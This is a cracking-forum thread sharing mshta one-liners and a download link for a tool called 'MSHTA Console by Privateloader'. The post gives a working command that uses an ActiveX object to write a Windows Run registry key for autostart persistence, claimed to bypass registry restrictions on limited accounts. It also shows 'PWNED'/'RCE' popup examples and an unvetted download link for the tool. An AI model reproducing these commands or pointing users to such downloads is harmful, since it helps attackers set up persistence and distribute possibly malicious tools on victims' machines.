1. Check Out Our Vip review >>> Click here

    Dismiss Notice
  2. If you're wondering why you can't reply to threads, see this thread >>> Click Here

    Dismiss Notice

MSHTA Console by Privateloader - MSHTA code examples.

Discussion in 'Cracking Tutorials & Tricks' started by kyois, Feb 27, 2020.

  1. kyois

    kyois Active Member

    Joined:
    Apr 25, 2017
    Messages:
    791
    Likes Received:
    330
    Trophy Points:
    63
    [​IMG]

    A cool native windows function to show a alert or message. To use it just call the code in "Run" or command prompt.
    Code:
    mshta "javascript:var sh=new ActiveXObject( 'WScript.Shell' ); sh.Popup( 'PWNED', 5, 'Windows 10 RCE', 64 );close()"
    
    This line of code starts a activeX Object that will add a registry key that will autostart calc.exe with the system.
    NOTE: This can bypass registry editing in limited Windows accounts
    Code:
    mshta "javascript:var exec = 'calc.exe'; var Shell = new ActiveXObject('WScript.Shell'); Shell.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\calc',exec);close()"
    
    Execute a Javascript Alert on Windows using mshta (Native application)
    Code:
    mshta "javascript:alert('yep this works');close()"
    
    Download
    http://www.filefactory.com/file/4nkrwky40bn3/MSHTA Console by Privateloader.zip
     
  2. aiamerda

    aiamerda Active Member

    Joined:
    May 27, 2018
    Messages:
    2,265
    Likes Received:
    17,157
    Trophy Points:
    113
    Occupation:
    Unavailable
    Thanks
     

Share This Page

Share